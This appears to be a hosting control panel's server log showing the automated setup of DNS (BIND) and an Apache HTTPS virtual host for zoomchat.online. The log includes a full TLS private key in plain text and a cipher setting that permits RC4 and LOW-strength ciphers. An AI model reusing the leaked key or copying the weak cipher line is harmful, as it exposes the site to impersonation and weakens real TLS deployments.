MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-10-22 12:26:21:
PUT: /tmp/pkp951035
#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam
#target cache files
HASH = '6cba0a95209be6ac4156e85379be0bd6'
ZONE_NAME = 'zoomchat.online'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'
uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
pass
PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:
line = fp.readline()
while line:
if HASH in line:
hash_present = True
break
line = fp.readline()
fp.close()
if not hash_present:
fp = open(LOCAL_FILE, 'a')
fp.write(PAYLOAD + "\n")
fp.close()
# call = old python, 'run' python 3.5+
subprocess.call(['rndc', 'reconfig'])
else:
subprocess.call(['rndc', 'freeze', ZONE_NAME ])
subprocess.call(['rndc', 'reload', ZONE_NAME ])
subprocess.call(['rndc', 'thaw', ZONE_NAME ])
time.sleep(3)
2025-10-22 12:26:21:
chmod 755 /tmp/pkp951035; /tmp/pkp951035; rm /tmp/pkp951035
2025-10-22 12:26:21:
2025-10-22 12:26:21:
PUT: /tmp/pkp717683
#!/bin/bash
if [ -f "/usr/bin/yum" ]; then
echo status=not implemented
elif [ -f "/usr/bin/apt-get" ]; then
systemctl is-active --quiet bind9.service
retVal=$?
if [ $retVal -ne 0 ]; then
echo "status=Starting BIND9"
systemctl start bind9.service
else
echo "status=Reloading BIND9"
systemctl reload bind9.service
fi
fi
2025-10-22 12:26:21:
chmod 755 /tmp/pkp717683; /tmp/pkp717683; rm /tmp/pkp717683
2025-10-22 12:26:21:
status=Reloading BIND9
2025-10-22 12:26:21: Establishing a connection
2025-10-22 12:26:23:
PUT: /tmp/pkp525303
#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam
#target cache files
HASH = '6cba0a95209be6ac4156e85379be0bd6'
ZONE_NAME = 'zoomchat.online'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'
uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
pass
PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:
line = fp.readline()
while line:
if HASH in line:
hash_present = True
break
line = fp.readline()
fp.close()
if not hash_present:
fp = open(LOCAL_FILE, 'a')
fp.write(PAYLOAD + "\n")
fp.close()
# call = old python, 'run' python 3.5+
subprocess.call(['rndc', 'reconfig'])
else:
subprocess.call(['rndc', 'freeze', ZONE_NAME ])
subprocess.call(['rndc', 'reload', ZONE_NAME ])
subprocess.call(['rndc', 'thaw', ZONE_NAME ])
time.sleep(3)
2025-10-22 12:26:23:
chmod 755 /tmp/pkp525303; /tmp/pkp525303; rm /tmp/pkp525303
2025-10-22 12:26:24:
2025-10-22 12:26:24:
PUT: /tmp/pkp942584
#!/bin/bash
if [ -f "/usr/bin/yum" ]; then
echo status=not implemented
elif [ -f "/usr/bin/apt-get" ]; then
systemctl is-active --quiet bind9.service
retVal=$?
if [ $retVal -ne 0 ]; then
echo "status=Starting BIND9"
systemctl start bind9.service
else
echo "status=Reloading BIND9"
systemctl reload bind9.service
fi
fi
2025-10-22 12:26:24:
chmod 755 /tmp/pkp942584; /tmp/pkp942584; rm /tmp/pkp942584
2025-10-22 12:26:25:
status=Reloading BIND9
2025-10-22 12:26:30: Establishing a connection
2025-10-22 12:26:31:
PUT: /tmp/pkp631889
#!/bin/bash
temp_file=$(mktemp)
TARGET=842c702c1ca7114dc2c211c70793b244.crt
cat > $temp_file <<'endmsg'
84:2c:70:2c:1c:a7:11:4d:c2:c2:11:c7:07:93:b2:44
-----BEGIN CERTIFICATE-----
MIIDWTCCAkGgAwIBAgIURxxNcSuTmKSLYN3r19VIcVpfCpwwDQYJKoZIhvcNAQEL
BQAwOzEaMBgGA1UECgwRVGhlWW91bmdEZXNpZ25lcnMxHTAbBgNVBAMMFFRoZVlv
dW5nRGVzaWduZXJzIENBMB4XDTI1MTAyMjEyMjYzMFoXDTI2MTAyMjEyMjYzMFow
GjEYMBYGA1UEAwwPem9vbWNoYXQub25saW5lMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAu09ExHZpYq3rv4iA6g+g8+71vMFMr+otdcf6/aQRnW28zbZ+
/y7PXB83OPaLD/rZA3hwjveTI3l00KeLUKKniBO+FbPoO/a4FRRFew52E+v/jhXY
GrALdfyAA8qCBzl6ygO/h1XJR9KGYKNj1WJgo/Wc38gIKfqtqTOX+7SwXDG/gSJJ
L6azvbhLV5sLPQxpTFLgJWrsQBb8a2agc4FL1IWrnSUx6eWGSO8O4hLVW+p0OEWj
Rl/Rz69Tt8u7XFoeluiNRytpThtLD3HmOSHPQUZy7lHv8AlpdRBP1z1ZvPzmBEKz
fR7JgQJ5BUM1/cZtIqg1vByDJkHIDu0k2KuD3wIDAQABo3YwdDAdBgNVHQ4EFgQU
ucx6jw/ZA21hbOuSOtqbN0fwlXgwHwYDVR0jBBgwFoAUhZtuDP3NJLXh9dCkAziC
V0swc/wwCwYDVR0PBAQDAgWgMAkGA1UdEwQCMAAwGgYDVR0RBBMwEYIPem9vbWNo
YXQub25saW5lMA0GCSqGSIb3DQEBCwUAA4IBAQB0COOi4Yr2LVMnUuCO6hYx5onm
ds0Sxx7Y5vhBpubAa+f0KpyAL4LI4Us4MU/KpYir4LVGuphkCVxA9hhr2qZK6hgP
Q43wBzzDJm+kusgsbxuaZ5BOPENiHwtsPlUK2Z4oh8Mg4ZfHnuQnK/2yi2ZHuqi1
TVODMqaFBSyca3rDXHNw5gC2nhJJtyiKUSiLjcnahU+m+FMxnMIchGysBlSy2QHT
PoGFqu7pHWz1kxXGpTkJvI58+7mQHcaO3g4CStx6RuTAUnahEXFcPy1OzZDUo1JZ
BhtDSGwYG775Phn2HJroeTHjHnGWBmruV96/8Yp02HJXJTlrsmC7S7WRzans
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQC7T0TEdmlireu/
iIDqD6Dz7vW8wUyv6i11x/r9pBGdbbzNtn7/Ls9cHzc49osP+tkDeHCO95MjeXTQ
p4tQoqeIE74Vs+g79rgVFEV7DnYT6/+OFdgasAt1/IADyoIHOXrKA7+HVclH0oZg
o2PVYmCj9ZzfyAgp+q2pM5f7tLBcMb+BIkkvprO9uEtXmws9DGlMUuAlauxAFvxr
ZqBzgUvUhaudJTHp5YZI7w7iEtVb6nQ4RaNGX9HPr1O3y7tcWh6W6I1HK2lOG0sP
ceY5Ic9BRnLuUe/wCWl1EE/XPVm8/OYEQrN9HsmBAnkFQzX9xm0iqDW8HIMmQcgO
7STYq4PfAgMBAAECggEBALrEQHpw44X8i1vwvTIloUR5mde7Gj8yDmAppi+wn8vM
tvyboqfJwgNGMOcAlgq6Ahc+yWUUoUc2/O5skTI27Tt3DAtR1xerW0PRcbJQ6hXV
NH01dMSvks3zlqWxD9QqUTALareEJ24REeJcKNiE/n2eEuzj5JgPF4fmJP5a3Zse
XufFfqTizw6SmsZBzrMw9OjdDUAji99L9jNdOzI8+O+kLqFtx3/ELcIPraqWwEl1
aj7WwzpwU7PnhZcgAn+m7Iob/5JWSPJqscjg6YG7urd5JHrR0kkOIQGlrrTr+NRj
5OAzlH0QJO0/T2nUmOO0ClKBdxtY3Xf+bVN4UCJtO0ECgYEA3qIG9gP50uVE4YMJ
VP1CEzuUP9U9J+fJ7HtOMNdK91G85hrOm2v7eJAoPTmuI8fHED7qMHjGL9ORs2e+
eKxVqTR8RwJPgZ93zBblfPux/yTFukNGVA91kh8qPaR4MVT7pyMfCA32KilcQBnW
AUvSZlctMZWk0h1AAHJXLqN+niECgYEA12H1h9owQ+czpGbzM0QW2nSqb0rL/ybf
vLpWULvyl1N/vlJrzTnHEl74FExTTd1Ptf2nnPeHCBxIJjZCnnUbizyFwWZt1SI+
M/ydt6Gqkws3GVx4TAO9YvIxxbu2lOS8m/C/vPd1njJpfmyZj7jbMW9qQipwpwXB
e9K8TOhx4f8CgYEAu5v4l7pz/SedKxicdZVR6Bkt7bjJZ2Zpf7HNC1Vx5AZqU9JF
Ry3w5QE+F5IS0C4a7vLFsQElqcn1HyUOmmxHZ2ZGUCR/UXFLp52n1/HWZnbbdQIa
Mt4wKmm+0+FUM+Y0hv0Oul/hkFf4WEAtWjxF2l4eRImhMjrZ40Z3d2LpYWECgYEA
iNVvS9POfhVQtc3CDHvhmQAtl28Jkxx7YEdxtvDw+jrOGXf7jPJ8CqvTJ/Ilqn5D
ufdgmVSYsQpmvAAU6t6zlQ3qXCha9uE+a4C+In/PAoRJiQ86TfDCTS5ZeKn9ITMA
sIGPDtqYGt0kMHGGTcy/VPTXqRmVYEdD2QrVHnc+grkCgYBhdmuSBxnH5I+Ogz5N
vn1JWgvcJpqa7sTPlZxSVoaXiy8KTNTbxJQXk84QCChf3GWxmH1/X0ZdM31w76kg
GmAa8K8NkQsj5+D5euo5gPnavRT57g9Z4iU6gZuCalWlHaV+fuNUb+frrmhg7uU7
yQ2kwXUTJya8a81D7YTvDvJ6rw==
-----END PRIVATE KEY-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-22 12:26:32:
chmod 755 /tmp/pkp631889; /tmp/pkp631889; rm /tmp/pkp631889
2025-10-22 12:26:33:
dir=/etc/pki/tls/certs/
2025-10-22 12:26:33:
PUT: /tmp/pkp205049
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/httpd/conf.d/zoomchat_www_online.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-22 12:26:33:
chmod 755 /tmp/pkp205049; /tmp/pkp205049; rm /tmp/pkp205049
2025-10-22 12:26:33:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_online.conf 754
<VirtualHost *:80>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/zoomchat_www
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
2025-10-22 12:26:33:
PUT: /tmp/pkp726524
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=zoomchat_www_online.conf
TARGET=/etc/httpd/conf.d/zoomchat_www_online.conf
DOCROOT=/var/www/zoomchat_www
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/zoomchat_www
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
DocumentRoot /var/www/zoomchat_www
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_secure_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_secure_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p /var/log/httpd/zoomchat
mkdir -p $DOCROOT/$PUBLIC
chown -R phil:phil $DOCROOT
ln -s "..//etc/httpd/conf.d/zoomchat_www_online.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/httpd/sites-enabled/zoomchat_www_online.conf)= /etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf'
echo 'file(/etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf= 1'
fi
2025-10-22 12:26:34:
chmod 755 /tmp/pkp726524; /tmp/pkp726524; rm /tmp/pkp726524
2025-10-22 12:26:34:
link(/etc/httpd/sites-enabled/zoomchat_www_online.conf)= /etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf
file(/etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf= 1
2025-10-22 12:26:34:
PUT: /tmp/pkp933456
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-22 12:26:35:
chmod 755 /tmp/pkp933456; /tmp/pkp933456; rm /tmp/pkp933456
2025-10-22 12:26:35:
.
2025-10-22 12:26:35: Establishing a connection
2025-10-22 12:26:35:
PUT: /tmp/pkp486869
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-22 12:26:36:
runuser -l bind -s /bin/bash -c '/tmp/pkp486869; rm /tmp/pkp486869'
2025-10-22 12:26:36:
2025-10-22 12:26:36:
PUT: /tmp/pkp352469
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/bind/named.conf.local')
show_file('/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf')
show_file('/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-22 12:26:36:
chmod 755 /tmp/pkp352469; /tmp/pkp352469; rm /tmp/pkp352469
2025-10-22 12:26:36:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/bind/named.conf.local 4911
//
// Do any local configuration here
//
// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";
include "0299c0c61c7ba070834ba2dd758c9c51.conf"; # biblealive.us
include "25162dac9ffbcb0be59287b7a9bde7f4.conf"; # carelinks.net
include "b74ce055b83f6cfebe00ab1c0c5d2af2.conf"; # hostz.org
include "54524ffc708f1919654eee3e8e8e8adb.conf"; # carelinks.org
include "265e805c99c946847c9512ae0a2f1979.conf"; # Unknown Zone
include "94cdb93348589672ae2f4f7d5cf38aba.conf"; # christadelphia.net
include "695c92f1e52b32224b4afd59cf37d6f1.conf"; # heaster.org
include "a9ce89f9cbbf500822cbde90492a4b59.conf"; # c-c-n.net
include "1a70a64890644d614d006709f4d07011.conf"; # bookofjames.info
include "76868f6e068adf5f82f053b795932883.conf"; # aletheiacollege.net
include "b64ede8e027cbe0b900c74b7dad61fc6.conf"; # hristadelfiane.org
include "a6604325e1e95bb658a4876ded716488.conf"; # realchrist.info
include "c23c0a067c65fe695faa3f188e27944c.conf"; # realdevil.info
include "0a6ad15e551aafb493c6806effeddcf2.conf"; # thisisyourbible.info
include "7695e2001b9158b46e53b17c49af86b5.conf"; # murrayyoung.com
include "063b25bf16976ce1a2c836785c63433d.conf"; # bible-basics.info
include "e3a645e9cd9a48a14dd8493b70d9eeb7.conf"; # n-e-v.info
include "62fb2e372bc0a32115fbc83c762f20b5.conf"; # biblebooks.org.uk
include "9b1deba5ba095e87244f37a8e3f127c3.conf"; # exjw.org.uk
include "32d4fd93b17a2291b23647ec24f8da21.conf"; # vards.info
include "de5342f930e16cce802d35118a2fa8d3.conf"; # waltonecclesia.info
include "6f67b388e6765da580018fda67333d25.conf"; # tacomaecclesia.net
include "9c176806fc238e21c915b63d0649fc22.conf"; # shiretune.com.au
include "1e54f6c33ee3ca2eea403fca319b0ee4.conf"; # r-b-c.org
include "2debffd89b49e0229c33680cd8802ecb.conf"; # maminas.info
include "7be199ed365109a6d40950ee59d1f556.conf"; # carelinksoutreach.info
include "eebb27648fd2a6fb3ddcc9ab90e7112b.conf"; # baptizo.info
include "1f505a75628761de494a35ab69db20dd.conf"; # carelinksaustralia.info
include "88c5638dfb94d699fd48b1feb9d60cff.conf"; # biblebasicsonline.com
include "a4eb3fca977ca6015dcdbcabf7d11d48.conf"; # thinkpinkpixels.com
include "3c5ac3f042be6256f4781cbc416678be.conf"; # dalmenynaroomabushwalkers.info
include "c0f3c184d08b11c006e309fb0115bdd6.conf"; # osnovybiblii.info
include "5228c1dbadd38e40039230194a4f9e79.conf"; # osnowybiblii.info
include "a991f2a33195300884cfb80603e68095.conf"; # gospelstudies.net
include "3c4b5f94d47374f5ce45f7155d4ae5a8.conf"; # christadelphianfraternal.info
include "35d18abc44b089ffa23e3e2f0807ece6.conf"; # theyoungdesigners.us
include "40b78c826a55a9eeca31786e0586fee9.conf"; # islamicstate.info
include "93997bd832de09ba4e56713eaa81d340.conf"; # christadelphian.video
include "320b669d287ba63741ff57cf3e690770.conf"; # whysuffering.info
include "11674aee41a9cabe2304d659e10b5dd0.conf"; # drewmarshall.ca
include "0766fc100eec8a6853d7ddbdaedbb9bf.conf"; # freebible.info
include "05b92d9466be1ff60f99171b12b904c0.conf"; # bible.boston
include "d15154fdc73f852a93983b8efa978ccd.conf"; # carelinks-uk.org
include "ffb28d26a57997ceef6aa88af3ca2eb1.conf"; # siiguides.com
include "c92f7952a5e58a40373c6ea0395bbe60.conf"; # patientappsinc.com
include "69d0916aecf832c706b4d0e9097de457.conf"; # simplyinteractiveinc.com
include "9102cebf40552256181ade1b5794bce9.conf"; # vela.work
include "916eb0791d6219f551785c0d0cdb6551.conf"; # zoomchat.net
include "3d2ec12df06edc90dfcd3e90b9defc61.conf"; # stoughton.link
include "4e946d31d5dbbaea14c1f8a8cc65c592.conf"; # pjy.us
include "f526c54ffce876cc4878737cf365bd79.conf"; # the-computer-site.com
include "03d5b5f89be357e1588146db824a75a9.conf"; # hopeinstoughton.org
include "97b02af5a57f21e16869add9e7536c63.conf"; # patientapps.net
include "9ab47e96627d9522a0b8df2ee4322802.conf"; # patientapps.co
include "a1c902386bae85264c8bcd7d46d289a9.conf"; # emessage.email
include "1f055662da24bcf52398528dbf5a1c4f.conf"; # cityelectric.online
include "b77f3ffec345cac4b4296eed63420be1.conf"; # myapp.care
include "7312c9cb95b4bacf912d8bac1ea438cc.conf"; # vmix.com
include "6e7fd231117136482801b6740f7def61.conf"; # theyoungdesigners.com
include "ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf"; # bucketgigs.ca
include "82e710fb4c28419815112803356c4f79.conf"; # croydonchurch.info
include "d365b77ad7e9376e619973b277c11515.conf"; # kjvdictionary.org
include "b579aafafbcd32ebd30996c14e2929d0.conf"; # ineedtosaythis.com
include "e0dc27e9ac6120dd4b9b149abf3e317e.conf"; # dgmarshall.ca
include "210d2f210e4452e9446e4b9a5969250a.conf"; # dgmarshall.com
include "f9446b138d2c5ba2c536837db166189d.conf"; # hillrunfarm.ca
include "39a853d14cf222b11389743f34305dc2.conf"; # sosretreatscanada.com
include "28a5e75a7da01b086708dce3eb004d3c.conf"; # carelinks.org.uk
include "73c7599fdd5ae53f1a22acdec3f96f94.conf"; # cityelectric.site
include "6cba0a95209be6ac4156e85379be0bd6.conf"; # zoomchat.online
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf 251
# this is an automatically created file: manual changes will be overwritten.
zone "zoomchat.online" IN {
##owner 0;
type master;
file "6cba0a95209be6ac4156e85379be0bd6.txt";
allow-transfer { 66.175.233.192; };
allow-update { none; };
};
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt 441
; this is an automatically created file: manual changes will be overwritten.
$TTL 3600
zoomchat.online. IN SOA zoomchat.online. hostmaster.zoomchat.online. ( 132227196 14400 3600 14400 3600 )
zoomchat.online. IN NS ns1.hostz.org.
zoomchat.online. IN NS ns2.hostz.org.
zoomchat.online. 60 IN A 74.208.25.170
www.zoomchat.online. 60 IN CNAME @
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
